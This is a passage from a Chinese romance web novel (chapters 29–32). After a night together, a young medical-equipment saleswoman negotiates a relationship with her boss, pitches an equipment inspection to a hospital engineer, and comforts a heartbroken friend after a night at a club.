虽然我那时候给您发了好友添加申请,但那就是一般的工作流程,您能理解哈?
发完我就休年假去了,真的!
我真没在公司见过您啊~啊~啊!!!
我那时主动接近您,纯粹是......因为我色迷心窍!】
然后又是一连串霸屏的哭脸。
姜渠当时正在和何耀丹吃饭,看到消息也是哭笑不得,只回了一句:等我,见面说。然后就匆匆结束了和何耀丹的饭局,连夜赶来了津南。又在高铁上,翻了好久的邮件审批,才找到赵志远之前发给他的报销审批,在一堆堆资料里找到了具体地址。
姜渠又问了一遍,“为什么要给我解释这么多?”
辛熙不解,把这句话当成了质疑,“嗯?我为什么不解释?我没有做的事情为什么不能解释?没有就是没有啊。”
“我说了你有了吗?”
“啊?没有吗?那我这不是怕您误会么?”
“为什么怕我误会?”
“因为,您是领导啊。”随时随地可以将我扫地出门的那种领导。
......
姜渠的沉默,让辛熙的心底闪过了一个她从来不敢想的念头,但这念头刚冒起来,又立马被掐灭下去。
根本不可能的事。
咱俩只是兴之所至,好吧?
别想太多!
辛熙将心底那抹不对劲儿的情绪压下去,又说:“所以,领导。关于昨晚,我想我们需要先达成一个共识,这样,免得在日后工作中造成不便。”
姜渠都被气笑了,他还是头一次听到刚一夜春宵后的女人这么理智地主动地去谈两性关系,并且还用着拙劣的谈判技巧——单刀直入。
即便她红着脸,稍显羞涩,但目光却十分坚定和坦诚,对于自己要说的话,是深思熟虑后的定论,没有隐藏或者犹豫。
倒显得,没有留商量的余地。
并不算一个好的起头。
在姜渠的认知里,大部分的女性在和异性发生了关系后,都会利用性别优势,展现出弱势的一面,不管心里是不是这么想,至少得把自己放在吃亏的位置,率先得到感情或物质上的弥补。
你要更爱我了,对我好,你不能再离开我了,你要对我负责人之类的。
但眼前的这个女孩却完全不是这样。
她十分坦率地承认自己在过程中获得的愉悦,并不认为这是一件女生吃亏的事情。但又分明从一开始的生涩中,察觉出她并不是个经验丰富的猎手。
这让他想起之前的几次对话,原来,她是真的觉得他俩毫无瓜葛了。
“什么共识?”
辛熙有些羞于在青天白日里谈起有关“性”的话题,但昨晚的感觉实在太美妙,令她不舍。她不确定姜渠是否有同她一样的体验感,但估计是没有的,毕竟整个过程几乎是靠他引领、越过山丘,至巅峰。
“昨,昨晚,你感觉还好吗?”辛熙咽了咽口水,掩饰自己的紧张,“我的意思是,这是否可能还会有下一次?”
姜渠刚要开口,就又听她急急补充道,“不强求,不强求。你如果不愿意的话,就算了,当我没说过。”
“你知道自己在说什么吗?”姜渠身子微微后倾,仰头睥睨,下意识地拿捏出了坐在谈判桌上时的气势,却一句比一句不受控,“我是第几个?”
“什么?”
“让你说这样话的人,我是第几个?排第几?”
实足地侮辱人了,也连自己都侮辱了。
“神经病!”怂人骂了句怂话。
辛熙欲起身,却被对面的人快一步地按回了椅子,“说清楚!”
她都怀疑这人是不是会什么武功,动作总是能快她一步,又急又准。当然,这不能片面地说这样不好,毕竟,在两个人最胶着的时候,他总能在她缴械投降前,快而准地带着她占领新高地。
辛熙抿着嘴不说话,两个人四眼互瞪,都不想让。
她甚少和人对峙,大多数时候会刻意地避免冲突,但在某些特定的场景里,她却会像个护卫领土的女战士,寸步不让。
没有做的,不能认。没有错的,不能退。
对峙的局面,陷入僵局。狭窄的出租屋,空气又闷又热。
放在桌上的手机适时地响起,真是谢天谢地,辛熙赶紧接起来,听筒里的声音很熟悉,是黎英。
“英姨,周五?可我这周也不回京北啊,我昨天跟您说过的......吧?”
辛熙听来一头雾水,因为黎英在电话那头说,周五不能一起吃饭了,她们舞蹈队周五要去参加社区的文化活动。这件事情,辛熙早就知道,舞蹈队的服装还是她帮着挑选的。
“辛辛?”黎英也懵了,拿开电话戴上老花镜看了看,电话没拨错啊。
辛熙在黎英的疑问里,回过神来,她拿错了手机!
手机是姜渠的。
而此时的姜渠,正整暇以待地看着她和黎英聊了好几句,都没想着提醒一下......
辛熙欲哭无泪,将手机递还给姜渠,“您,您的。”
姜渠接过手机,直接开了免提,黎英的吃惊不亚于辛熙,声量提高了几十分贝,问:“你俩怎么在一块儿?”
“我们......”
姜渠再一次被捂住嘴,就见辛熙十分心虚地双手合十,拜托他谨言慎行。
刚才不还一副老熟作派么?装什么欢场高手。
但姜渠还是放过了她,说:“不是您让我约人吃饭的嘛?”
黎英觉得这孩子终于上了道,也没再多闲话,叮嘱了几句,这才心满意足地挂了电话。
手机在姜渠的手中颠转,一下轻一下重地叩着桌面,目光深而沉,凝视着她,说了声“咱们继续”。
辛熙倒生了气,悄悄地在心底翻了个白眼。这人不同意就不同意吧,干嘛侮辱人啊。虽说这男女之事在现代文明里不算什么禁忌,只要你情我愿,也不存在谁吃亏谁占便宜了一说。可若置于社会舆论里,对女生的评判还是更严苛的。于是说:“我没什么想说的了,你
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非要这么想,我也没办法。”
十足的渣男语录。
“这么容易被激怒的话,那在谈判桌上你永远不会得到想要的结果。”
谈判?辛熙的眉毛几乎皱成一团,顿了顿,“姜总,刚是你先生气的哦。”
“我没有生气。”
“那你刚为什么不能好好回答?”
姜渠意识自己被反将一军,调整好情绪,调转话头,“有或没有,你对应的解决方案是什么?”
“有。那咱们得约法三章,不可影响工作。你不用因为这层关系给我特殊照顾,我也不会因为这层关系,要求你给我特殊照顾。当然了,若哪天闹不愉快了,要结束这层关系,也同上。”
“那若没有呢?”
“没有的话......”想到这个结果,辛熙还是会觉得挺遗憾的,“若没有,那这一次,也同上。”
“每个人在提出问题的时候,内心都有一个期待的答案。你希望得到答案是什么?”
“是我在问你,你不能每次都以问句代替回答吧。”即便如此,她脸上堪比春日桃花的嫣红色还是给出了答案。
“那我是不是可以认为,你想要和我维持这种关系,但又并不想被这种关系束缚?”
辛熙没有否认,但她很快听了姜渠的否定,“抱歉,但我不想。你年轻贪玩,我可以理解,但不准备配合。并且就像你说的,咱俩作为上下级的关系,一旦有些风吹草动被宣扬出去,会很麻烦。为一段并不长久的关系承担高风险,并不是理智的选择。”
辛熙不懂,她觉得自己什么都不图啊,怎么会有麻烦。但转念一想,或许还是怕自己借机要挟,要钱要资源之类的吧?
真是太小看人了。
姜渠起身走了。
一场谈判尚无定论,他却先失了阵脚,这显然不是一个好现象。
门在身后嘭地一声关上的时候,姜渠又有点后悔,后悔昨晚为什么要等在门外不走?明明察觉到对方的行为可能只是因为酒精作祟,偏又不甘心,一遍遍数着楼道的感应灯亮了又灭,像个玩命的赌徒,等着荷官下最后的通牒,才肯下注。
所以当辛熙打开门的瞬间,他甚至生出了一种罪恶但痛快的报复感。
反正也不吃亏,不是么?
只是亏倒是没吃,就是心里堵得很。一个大老爷们还没个小姑娘拎得清,图什么?真的是自招自受。
楼道狭长,感应灯失灵,只剩通风口处有点零散的光,青天白日的,也看不太清楚路。
隔壁忽然有人打开门,扔了一袋垃圾出来,放在门边,骂骂咧咧的男人叼着烟,挠着袒露的大肚腩,对站在走廊的姜渠盯了好几眼,眼神并不友好。
真是不能多待。
屋子里的辛熙有些失落,他的摔门出走显然是一种拒绝,辛熙甚至觉得有那么一点点丢脸。维持着被人拒绝的姿势,一直等到桌上的吐司和煎蛋彻底凉掉,才起身,扔进了垃圾桶。
不同意就不同意吧,我还不稀罕你呢。
辛熙开始埋头整理起今天要用的资料。她头一次对工作生出了感激之情,可以让她在安身立命的同时,又能暂时忘掉早上的难堪。
她向来不算一个自律的人,但责任感超强,一单领下了什么任务,就会迫使自己尽最大的努力去完成好。就像现在,她很失落,但不得不打起精神去先完成工作。甚至,想更好地完成工作。总不能在工作方面也被看不上吧?
30. 第 30 章
辛熙提早了半小时到达圣南医院。
在昨天的闲聊中,听吴道光提起他以前的一个下属在圣南医院的医工科任职,私下里跟他吐槽了好几次医院现在的维保服务问题。辛熙立马要来了电话,约好今天过去拜访。
辛熙在医工科室外等了很久,才见庄来匆匆赶来。他戴着银边眼镜,眼镜下是张年轻的脸,脸上却有种风吹残烛的疲惫感。人还没坐下,就先端起桌上的茶缸猛灌了几口。
辛熙没太走近,等他喝完了茶招呼她,才进门,礼貌地问候了一句。
庄来说:“抱歉啊,设备突然宕机,忙活了一早上。等久了吧?”
辛熙已经习惯了在各大小医院里的各种冷言冷语,甫一遇见这么个好说话,反倒有些不习惯,摸摸鼻子,笑得憨憨地答:“没事,没事,没耽误您就好。”
庄来倒是个不拘小节的,取下眼镜哈了口气,一边用衣角擦拭,一边又随意地问:“你和吴总很熟吗?”
“不算太熟。我俩昨天也是第一次见。”她很坦白。
自小到大,她撒过的谎屈指可数。因为一旦说了谎,她就会不自觉地背负起极重的道德压力,而这压力并不能使人进步。
庄来显然有些吃惊。才第一次见面,吴道光就能将她介绍过来,说明吴道光还是认可她的。而她明知道自己是看在吴道光的面子上才见的她,却并没有像大多数销售那样给出模棱两可的回答,用隐晦的方式暗示自己和吴道光关系非比寻常,以谋求更多的信任或偏向,达到自己目的。
显然是不够圆滑的。嫩生生的新人,还只是一张纯白的纸。
“第一次见,吴总就能这么信任你?”
“倒也没有。我觉得是吴总信任您。”
庄来将擦干净的眼镜重新架回鼻梁上,终于看清了眼前的人,白白生生的小脸上,是一览无余的坦诚。
“怎么说?”
“吴总相信您有识人的慧眼,所以并不需要先帮您筛选。他只是在中间给咱们搭建了一座桥梁,至于是否有机会合作,其实还是得看我司的服务能否满足您的需求。”
庄来笑了,倒也算机灵。随后从抽屉里拿出来一个大本递给她,抬眼看了下墙上的时间,说到:“这些是我院近期的部分数据记录,你可以在我这儿看,但不能拍照,更不能拿出这间办公室。我只能给你半小时时间,半小时后,你告诉我你看到的。”
“明白”,辛熙立马全情投入。她非常珍惜这个机会,尤其在经历了那么多次失败的陌拜之后。
什么臭男人,哼,远都没有眼前这一叠叠真实的数据有趣,至少数据可以讲逻辑。至少数据不会问,我是你经手的第几批。更不会在你理清头绪,总结陈词时,忽然跳一个出来,说:你不配研究我。
庄来在三十分钟后准点回到办公室,辛熙看了下墙上的时钟,几乎分秒不差,是个时间观念极强的人呢。于是以此为突破,开口说到:“庄老师,如果贵院的服务供应商也能有您这么守时,想必能减轻您不少压力呢。”
庄来确定自己并没有将第三方签署的年度服务报告夹在那堆资料中,所以辛熙能够一语中的,是出乎他的意料的,他问:“你怎么看出来的?”
“贵院的单台CT日均扫描人次基本维持在60-80这个区间。近日来因为肺炎人数激增,各大医院做肺部CT的人数应该只多不少,但贵院的扫描人次却在显著减少,只最近一周才勉强回到了这个区间。最大的可能性应该就是因为设备出故障而导致贵院对来做CT的病人有心而无力。同时,分别在去年的10月,12月以及今年3月、5月贵院都更换过同一型号的备件,这说明有同样的故障在反复出现,这显然不是个好现象。”
辛熙的敏锐出乎庄来的意料,倒让庄来明白吴道光为什么会给他介绍这么一个嫩生生的新销售了。
一说起目前在合作的这家维保供应商,庄来真是窝着一肚子的火,不然也不能找到前上司吐槽。
“响应迟缓不说,备件质量也是参差不齐,甚至用旧的备件敷衍我们,连个标签编号都没有,不知道从哪个二手市场上淘来的。要不是我们科室一个技工及时发现,还不知道要耽误多少事。那来的所谓的维修工程师,今天是这个,明天是那个,这个试了试不行,又换下一个,真把我们这儿当他们新人练技术的地儿了。”
圣南医院的规模并不大,大设备也就几台,小的维保公司人员技术都参差不齐,服务上自然也就没那么专业。
辛熙站在旁边并不接话,通过吐槽同行来反衬自己是不明智的。就像姜渠在销售大会上一直强调的,麦高的优势从来只有服务技术和产品质量。
何况你永远不知道,当你作为不在场的第三方时,又会在别人的口中得到什么样的评价。
等庄来抱怨得差不多了,辛熙才又说:“至于设备的使用问题,得工程师过来做一次巡检才能知道。如果您这边有需要,我现在就可以向公司申请。”
“巡检?”庄来有些犹豫,“可我们和三方的合同要到年底才会结束。”
辛熙当然知道他打的什么算盘,于是解释:“巡检只是帮助贵院的设备做一次深入全面的检测,找出故障反复出现的具体原因。咱不是得先找到问题,才能解决问题嘛。至于解决问题的方案,可以等巡检报告出来了再说。”
“那这做巡检的费用......”
辛熙在此时表现出了为难,这是她新学到的小心机。在商业洽谈时一定不能让客户觉得你给得很轻松,否则无论你给到的优惠力度多大,对方都会认为自己吃亏了。
“那这样,我先问问公司质控团队的排期。能早做就早做了,别耽误了贵院的正常运营。至于收费......”,辛熙又去那一堆资料里翻了翻,状似惊喜地叹道:“嗨,你们买的我们公司的设备呀。这样,我去找老板做特批,给咱们设备免费做一次原厂检测。”
既然免费,那倒是不做白不做了,庄来欣然接受。
辛熙走出庄来的办公室后,立马就将情况报给了赵志远,并迅速在移动端的工作台上提交了申请做巡检的工单。她发现自己还是有优势的嘛,至少比其他业务员都更了解公司内部的审批线。
心情一下子大好。
回去的路上,甚至专门绕远路买了心心念念的南楼煎饼,肚子空空落落地到现在,终于觉得饿了。人生果然唯有美食不可辜负,这吃饱喝足了,什么乱七八糟的心绪也都跟着沉了底。
无所谓咯。
回到短租房的宾馆楼下时,老板娘正坐在前台嗑瓜子,两个穿着蓝色工作服的技工正在电脑前面忙碌着。辛熙凑过去瞧,原来是安装了监控正在调试。
老板娘见她回来,便忍不住开启了新一轮的吐槽,虽然这些话,她今天基本是见一个说一遍,“你说神经不神经。今儿遇到一个顾客,非让我把楼道死角和公共区域都安装上监控。还说我如果不安,他就去举报我们店消防不合格。”
“啊?”辛熙忍俊不禁,心里却大赞。她在这儿住的这段时间,也发现了这些问题,但本着多一事不如少一事的行为准则,倒也没管过,只自己网购了防盗阻门器,保护好自己的一亩三分地。
现在这社会上,
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还是蛮多人有社会责任感的嘛。
老板娘哪里知道她心里所想,继续说着,“我们这店啊,都是从街里街坊手里集租来的老房子,附近住的也都是熟人,这么多年了,一件儿偷鸡摸狗的事情都没出过,安全得很呐,哪儿需要这个。”
“那你怎么还是给安上了?”
老板娘贼贼一笑,“嗨,那小子说他可以出钱。”
辛熙又“啊”一声,“他图啥啊?”
“谁知道呀”,老板娘点了点自己的脑袋,说:“估计啊,怕是这里不正常。”
“是这里的常租客吗?”
“那不是”,老板娘继续磕着瓜子,“我开始想着莫不是他想安个监控,远程监视我们。结果人让我自己买,买完订单发给他代付款就行。”
“那确实奇怪。他没跟你解释原因吗?”
“没”,老板娘摇摇头,“我管他什么原因呢,反正没花我钱。”
“好吧。”
辛熙也没再追问,说完话就往楼上去,隐隐听得老板娘继续在和调试监控的技工说什么“那男的看着个子高高大大的,没想到胆子那么小,还嫌我们楼道里黑,非让我今天就把楼道的灯全换了。”
辛熙走上楼一看,果然一别过去的那种阴暗幽深,楼道被一连串崭新的白炽灯照得亮亮堂堂的,还真的让人有些不适应。
经过隔壁的时候,门正好开了,早上那位袒着胸膛的大哥凑了个人头出来,提醒说:“妹子,早上我见一男的在你房门口徘徊了好久,哦,昨晚好像也来过,你最近出入可得小心点啊。有啥事,朝我们吼一声。”
“好的......谢谢王哥。”
话刚说完,屋内就响起一个女人的声音,一巴掌拍在王哥的背上,吼道:“是不是让你出门前穿件外套,听没听见,这是城里,不是咱乡下,文明素质,懂不懂。”
王哥赶紧又闪回了屋。
倒是那个女人袅袅几步走出来,带着笑意,“妹子,早上我也看见了,蛮帅的咧。从你屋里出来的吧?”
辛熙面上一赧,有种被抓包的羞耻感,吞吞吐吐地不知该作何回答,“覃姐,他,他......”
“放心,姐过来人,都明白”,被叫覃姐的女人倒也放过了她,又叮嘱,“你平常一个人住,要是有啥事儿,大吼一声,知道不?你王哥啊,唬唬人还是可以的。”
“谢谢覃姐。”
辛熙倍感暖心。
时间来到了八月,盛夏,辛熙拖到最后一天才赶回了京北,年中的销售大会必须全员参与。
刚出检票口,远远地就瞧见着一个人影朝自己飞奔而来。辛熙一开始并没有认出来,是等到人走近了,才发现是林早。穿衣打扮较之前成熟些,更偏都市丽人风,不经意间露出的名牌LOGO,也让辛熙有些惊讶于她这短暂时间里的变化。
林早是个聪慧的人,自然看出了她的疑惑,本来也没想要对她隐瞒,于是拉着辛熙原地转了一圈,撩动刚从发廊里烫好的波浪卷,问:“好看不?”
“好看的。”真诚地回答。
这些名牌的衣饰在林早的身上并不突兀,辛熙并不想先入为主地认为林早只能穿着朴素,这种成见在她意识到不对之后就已经在刻意修饰了。
“走吧,姐,徐进的车子在外面等着了。”
“他怎么来了?”话脱口问出,立马意识到了自己多嘴这么一问,又改口,“我意思是就他吗?”
“对啊。不然你还期待有谁吗?”林早的笑意明显。
“没有,没有。”她谁都不期待,只盼着最好别再见。
31. 第 31 章
但,林早和徐进一路的亲昵却完全超出了辛熙的想象。
她不知道热恋期的成年人是不是都这样,调不完的情,少不了的勾勾搭搭。
辛熙坐在后座,开着窗,长发在风中乱成一团也不管。她很少说话,甚至减少肢体活动,尽量让自己这个电灯泡的存在感降到最低。
可她不懂,有些人的恋爱是非常需要热心观众的。比如,林早时不时就会让她充当中间人的角色,问:“熙熙姐,你说我说得对不对?是不是徐进不讲理?”或者“熙熙姐,你看他嘛,昨天答应得好好的今天要陪我,结果又说他有朋友突然回国了,他要去接风宴。”
说得好像她可以有资格做二人中间的判官,或者说可以管得住徐进一样,可分明她和徐进并没有私交。
辛熙只能绞尽脑汁地调和,几次之后又发现,他们并不需要她的调和。
“那我先送辛熙回家,再送你?”徐进在一个等红灯的间隙,将林早拉近,温言温语地哄着。
“那麻烦您......”
好吧,并没人需要她的回答,辛熙住了嘴。。
林早还在赌气,嗔怪道:“我不要。我要和熙熙姐去club,你把我们送到工体附近吧。”
“就你俩么?”
“怎么?没有徐公子陪同,我俩就连club都进不去呗?”
阴阳怪气的。徐进有些尴尬,但还能维持体面,“我这不是担心你们嘛。您二位这么漂漂亮亮的女士一进club,那饿狼还不得一窝蜂地窜过来。”
“要真担心,就一起呗。”
徐进回身端坐,或许是顾及辛熙在车上,他并没有说什么过分的话。前方的车子已经启动,徐进抬手揉了揉林早的头发,“别小孩子脾气。晚上你们好好玩,都记我账上。”
到工体时,已是华灯初上。
林早倒没再生气,只是赖赖唧唧地撒着娇,不肯放人走。
辛熙早就知趣地下了车,躲了老远。等两人腻歪够了,才见林早从车上下来,又上演了一出依依惜别。辛熙大跌眼镜,这还是她认识的那个林早吗?
“走吧,熙熙姐”,林早抹了把脸,走向她,挽起辛熙的手臂,早收起了刚才的那副不舍。
“你还好吧?”
“我?”林早两手一摊,“哪里不好,好着呢。”
辛熙试图从林早的表情里找到破绽,但她的快乐严丝合缝,并不像是装的。
“干嘛呢?”林早觉得辛熙的表情太可爱了,摇晃着手里的手机,解释到,“徐进刚给我转了账,咱们今晚一定要嗨翻天。”
“那你刚才那样?”
“哎呀!演得很好是不是?我都快被自己感动了。”
“演的?”辛熙大为不解。
林早却不以为意,“半真半假吧。这大京北,谁谈恋爱不演啊。不演的话,怎么能骗自己,骗对方,这世界上还有爱情咧。”
爱情......辛熙有种走错战场,却被流弹击中的痛觉。有一瞬间,她认为自己是无辜的,是罪不至死的,但低头一看,这流弹似乎正是从自己手中的这把枪里射出去的。
这世上,谁还在相信爱情呢?
然后,她听到林早在继续对她说,“这谈恋爱呢,谁先认真谁就输了,尤其是和他们这种人。他们今天可以一脸真诚地说爱你,明天照样可以从不知道是谁的床上醒来。”
林早对爱情,有种与年龄严重不符的悲观。
“可,万一呢?没有例外吗?”
林早停下脚步,认真地看着辛熙,“熙熙姐,别告诉我,你和你们那姜总,是认真的?”
辛熙被戳中,语序有些慌乱,狡辩道:“没啊,不是,我......我们没啥,就是普通的上下级。”
“你骗不了我的,我敢打赌,你俩清白不了。很多人谈地下恋都这样,自己以为自己隐藏得很好,其实身边的人早就看穿了。因为你们就算不说话,那眼神也会不自觉地纠缠在一起。”
“可我们真的没有在谈恋爱。”
辛熙半真半假,林早半信半疑。
这个话题,几乎贯穿了这个夜晚。
club里的音乐声很大,说话都要扯着嗓子或者凑到人的耳朵边上去,红男绿女若再借着些迷人心智的彩色液体,很容易就会攻破自我保护的边界。
辛熙在这里找到了自由。和在大草原上策马奔腾的自在不同,这种自由,只是意识形态上的。因为即使是在club里,她依然腰背挺直,坐得端端正正。
“这么绷着不累么?”
“不累啊,为什么会累?”辛熙甚至随着音乐的律动晃了晃,但半点没有塌下她挺直的背。
真是个乖巧的三好学生。
不知哪边起的头,她们很快和隔壁卡座的人混在了一起。
拼酒的游戏层出不穷,辛熙刚看懂点规则,他们就又换了花样。几轮游戏玩下来,她俩越输越勇。
“熙熙姐,要不你来跟他们玩?你读书多,脑子聪明。”
“行。”
辛熙搓搓手,接力上场,一鼓作气,气势如虎,虎落平阳,节节败退,再而衰,三而更衰。
“要不,咱们今儿就到这儿吧?”辛熙打了退堂鼓。
对面的一个年轻小姑娘听见了,取笑道:“姐姐,你们会不会玩啊?要不会玩,早些认输啊。”
“说谁不会玩啊”,林早听这话就来劲儿了,“姐玩这些的时候,你们还在做三年高考五年模拟呢。”
辛熙悄悄提醒,“是五年高考,三年模拟。”
“是么?高考不就是三年么?”
辛熙见林早确实有些喝糊涂了,找了个借口,强拉着她走出了卡座,“今天先不玩了,我明天还要上班呢。”
“诶,别走啊,姐姐”,一个年轻帅气的小伙快一步拦住了去路。
辛熙下意识地挡在林早前面,戒备地看着他。
帅小伙拿出手机,有些害羞地挠着头,着急解释:“别,别误会。我的意思是咱们要不加个微信吧?下次有机会再一起玩啊。”
帅小伙的主动立马引起了同伴们的起哄,林早醉呼呼地,摸手机的动作却很利落,嘴硬得不行,“加,都加上。不过先说好,姐下回可不让你们咯。”
音乐声盖过了其他人的嘲笑,帅小伙颇为期待地又将二维码转向辛熙,“那这位姐姐呢?”
辛熙琢磨着该如何拒绝才能不露怯,总不好被几个小年纪的看出自己经验不足。
就在这时,一名服务员走了过来,礼貌地询问:“您好,女士,请问有什么需要帮助的吗?”与此同时,有另一服务员提着一扎酒,顺势将帅小伙请回了卡座。
辛熙朝服务员致谢,服务员保持着职业化的笑容,对她说:“应该的。我们店长说了,欢迎您以后常来。”
待走出club,辛熙才听清林早的问题,解释到:“人店长只是好心,不是看上我了。我大学的时候在这里做过一段时间的兼职而已。”
“这么久了,老板还对你念念不忘啊。”
“没有念念不忘。只是普通地,单纯地记得一个旧同事......而已
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。”
林早双手一拍,捧起辛熙的脸,左右端详,“嗯,记得你也正常。”
辛熙用手机叫了车,可这个点,工体外多的是需要打车的人。
林早走路有些不稳,半倚半靠地搭着辛熙,辛熙的胳膊上挂着两个人小包,有种灰头土脸的狼狈感。手机上排队的人数令她无暇顾及那些落在她们身上的目光,或打量,或觊觎,或不屑一顾。
她开始担忧明天的早会,虽然预先焦虑,提前内耗,根本于事无补。但脑子在空闲时,就是会不自觉地跑那头去。
哎!如果今晚没睡好,明天精神不佳,在会上打瞌睡,大概会被狠批吧。如果他是一个记仇的小气鬼,会不会借此机会,将我开除,眼不见为净?
哎!明天!明天,该来的总要来,该面对的总要面对。即便她擅长逃避,但也已经逃无可逃了。
明天?
辛熙猛地一个激灵,“早早!我的行李还在徐进的车上。”
林早迷迷瞪瞪地回复,“嗯,在就在呗。我明天找他拿了,给你送过去。”
“可我的电脑也在。我明早还有早会呢。”
林早清醒了一些,“开会......不带电脑的话......可以吗?”
“要不......我装病?请假呢?”
“可以吗?”
“我不敢。”也不想。不想让人觉得她在找借口逃避,显得自己好像被那件事情影响很深一样。
“那别急,我现在就联系徐进。”
林早给徐进打了个电话,这通电话的时长和他们白日里的亲昵一样,超出了辛熙的设想。
辛熙一直担忧地盯着林早,她尚未完全酒醒,怕她不小心磕了碰了。然后,她看到林早开始不耐烦地来回踱步,表情越发地激烈,有时候叉着腰在控诉,但更多的时候,她捏着拳头,并不言语。
并不是一通被期待的来电。
或许,可以算了?哪怕明天去公司被批呢。
辛熙走上前去,话还没出口,林早就已经挂了电话,脸上的泪痕并没凝干,虽然她装得很轻松,“说好了,他待会儿让司机送过来。正好送咱俩回去。”
辛熙轻轻地搂住她,“我给你添麻烦了吗?”
“没事儿,多大点事儿啊。”
是啊,多大点事儿啊,怎么就能让林早哭了呢?
辛熙既愧疚又心疼,“早早,你和徐进,不对,是你,你还好吗?”
“我?好啊。好着呢。怎么会不好”,可她却不知自己此时落在辛熙眼里的表情有多难看。
“早早”,辛熙又唤了一声。
林早终于绷不住,委委屈屈地大哭。
她俩上一次喝酒,是在林早家外的路边摊,六块钱的啤酒就喝出了一腔的豪气干云,那时候,林早说她不怕失去全世界了。
而这一次,她们在高档的club喝过了昂贵的洋酒,却还是坐在马路边,抱头痛哭,好像真的失去了全世界。
“他凭什么这么对我啊!凭什么!”
林早的控诉,让辛熙觉得她先前那一番虚假爱情的言论只是在自我麻痹。
这世上没有人相信爱情,可多的是人,需要爱情。
辛熙从林早的长篇大论里,了解了始末。林早给徐进拨电话,一连拨了好几次才接通,结果电话刚接通时,她就听到了吴燕妮的声音。原本他们就是一个圈子的,朋友圈有重合也正常。可徐进避而不谈的态度,却让林早难以接受。徐进认为她无理取闹,连带着,把辛熙着急行李的事也被当成了催他的借口。
32. 第 32 章
徐进凭的什么,答案只有林早自己知道。虽然她闭口不谈,只在午夜的灯火通明中,哭着笑,笑着闹。
她并不独特,在这座城市里,有很多人像她。
辛熙也想这样,可她不能,发泄情绪在她这里有些羞耻,理智令她无法单方面地指责那个人。他不过是拒绝了他不想要的而已,哪里有什么对错。
“说到底也怪我自己”,林早像之前那样抹了把脸,情绪大开大合后,有些疲倦,她撑着地板,翘着腿儿,真皮的半拖鞋挂在脚尖晃悠,“自己把自己摆得太低,谁还会重视你。吴燕妮闹了一场后,徐进让我不要计较,他会弥补我。我就答应了。想着,好歹是他圈儿里的朋友,闹得太难看也不好。结果,你知道他们那些朋友都怎么对我的吗?”
辛熙屈膝抱着双腿,那些难听的话,在如洪水越境时,甚至侵扰到过她这边。
吴燕妮的小姐妹为她打抱不平,跑到食福居去大闹,说林早抢人男朋友,说她想走捷径傍大款,甚至造谣说她私生活混乱。林早不得已辞掉了食福居的工作。但这事,被夏淑芬碰见了,赶上前去理论,摔伤了腿,然后传得整个麦高都知道了。
卢湘甚至跑来告诉辛熙,“听说保洁阿姨的女儿给人当小三,原配带着人找上门,把他们全家都给打了一顿。”
流言的力量,如猛虎,辛熙深有体会。
“我一退再退,他们得寸进尺,最后倒成了是我斤斤计较、敏感多疑了”,林早当然委屈。徐进的朋友们对她这个冒然闯进来的人并不友善,很多时候,徐进在与不在,他们各有两幅面孔。
“虚伪又自私。他们都是住在堆金积玉的高墙内,高傲又冷血的鬼”,林早那点左右逢源的劲儿在这里遭受重创。
“早早,别管那些人。他们不了解你,所以对你有误解。”
林早苦笑,“是啊,在那些人眼里,我也不过是个觊觎着不属于自己东西的贼。”
“别这么说自己,早早。你和徐进正经谈恋爱,你们是平等的。如果他对你不好,咱就甩了他。”
林早晃着脑袋,偏头望向辛熙,她眼里那份对人性的信任,是自己如何假装都装不来的,“熙熙姐,我有时候真的很羡慕你。虽然不想承认,但你比我幸运很多。”
原生家庭的美满,物质和精神上的富足,以及不曾被命运捉弄的乐观,这些通通都让林早心生羡慕。但有些话,她不想说得太明,“但那也没什么,是吧?我想要的,即便之前没有,今后总会得到的。”
辛熙对此给予十分的肯定,她相信林早,“你一定可以成为你想成为的那个样子,谁都不能阻挡你,徐进也不行。”
“对!”林早坐起身,“男人算什么。姐要不是看在你还有点利用价值的份儿上,姐还稀得理你咧。爱跟谁玩,跟谁玩去。”
“就是!”辛熙希望她真的看开。当林早说这世界没人相信爱情的时候,她希望她别那么悲观,可当她困囿其中,她又希望她只是个浪迹花丛的无心之人,“咱还能被一个臭男人影响心情了嘛?他们可以花天酒地,咱也可以左拥右抱啊。”
辛熙的大胆发言把林早逗得直笑,“没看出来,熙熙姐,有点雄心壮志啊。”
“嘿嘿,当然啦。”
“那你左边一个姜渠,右边是......江准吗?哦~还有个简运?”
林早开始开玩笑了,说明她暂时挣脱了情绪的桎梏。
辛熙很开心,可......后面那人是,是......辛熙的雄心壮志维持了不到十秒,就在看见路灯下站着的姜渠后偃旗息鼓。
灯影绰绰,将本就高挑的人影拉得更长。他确定自己被看见,才大步走向她们,表情被夜色调得很淡,“我来帮徐进送东西。”
猝不及防地碰面,辛熙的脸不可抑制地发红,这可怎么办?她有些慌张地低下了头。倒是林早迷迷瞪瞪地在辛熙耳边小声说了句,“哦~今天左边的轮值。”说完才又朝姜渠致谢,“辛苦您跑这一趟了,左先生。”
辛熙已经来不及捂她嘴,只能朝姜渠,咧嘴一笑,“她喝得有点迷糊了。”
辛熙并不确定姜渠听到了什么,耳边也一直没有听到回答,她只感觉高大的人影朝自己近了一步,又猝然远离。辛熙抬头去看,人已经走出去几米远,虽然人的背影没有表情,却依然可以表露情绪的变化。
他生气了?
我还生着气呢。
辛熙没头没脑地想。
一路上除了林早关心地问了几句“徐进在干嘛”“为什么自己不来”之类的话,车厢里,半点声音都没再多有。直到辛熙在吉兆胡同下了车,想要去后备箱取行李,才不得已开口说了第一句话,“姜总,麻烦您开一下后备箱。”
辛熙取出行李箱,姜渠轰油门的动作几乎和她关后备箱的同时发生,她的礼貌用语没有机会说,就只得到了一车扑面而来的尾气。
第二天到公司,辛熙先去找了赵志远,圣南医院的巡检拖到现在都没排上,她几乎每天一催,也不见有进展。
赵志远应付她的还是那些老话,“你不要急。我知道你刚做业务,看到点机会就想抓住,可咱们毕竟这么大的公司,全国那么多家客户排着队,质控团队才多少人呢。你放心,我都催过了,有空一定给你排。”
辛熙倒不是怀疑赵志远,但她从卢湘那里听到了一个消息,她不确定赵志远是不是知道,于是说:“经理,我听说任工这两天就在津南,能不能请他多跑一趟圣南?”
“任工?他是去津总和市妇幼做保养维修的吧。”
“是。所以我可不可以请他在忙完这两家客户的事情后,再顺道去一趟圣南?就两三个小时的事儿呢。”
赵志远思考的间隙,张鑫刚好走过来,放下极具销售特色的大背包,揶揄道:“哟,这是要开单了啊。”
“没有,只是在约个巡检。”
“哪家啊?”
“圣南。”
津南地区的客户自然没有张鑫不知道的,就见他那对短平的粗眉一勾,摇摇头,“别白费力气,空做人情了。他家在用的维保商是院长的小舅子开的,不可能换的。”
